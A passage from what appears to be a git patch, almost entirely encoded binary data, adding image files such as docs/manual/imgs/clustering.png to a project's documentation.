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

iW_k81jQ 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 literal 0 HcmV?d00001 diff --git a/docs/manual/imgs/clustering.png b/docs/manual/imgs/clustering.png new file mode 100644 index 0000000000000000000000000000000000000000..5e72821d872a90725922dfd570507efe9aa839dd GIT binary patch literal 355812 zcmeFYbyS_tk}iz91`WD_;O_43?(Xio6WoJ)a0>)?clQJ*5ZqmY1cKi;M}Bk8{buHy zb^jg~EVlI9Qe9R3)Kk?TRg|PrkqD3=ARtg>WhB%fAYf{NzgPq~;1l(sl1>N+NM2iU zaTP5cHf~-B2%0H#6O(OO2AWY*QxlWXZ}hZCZr*BjKz+Sqy`v_%=>`Uy 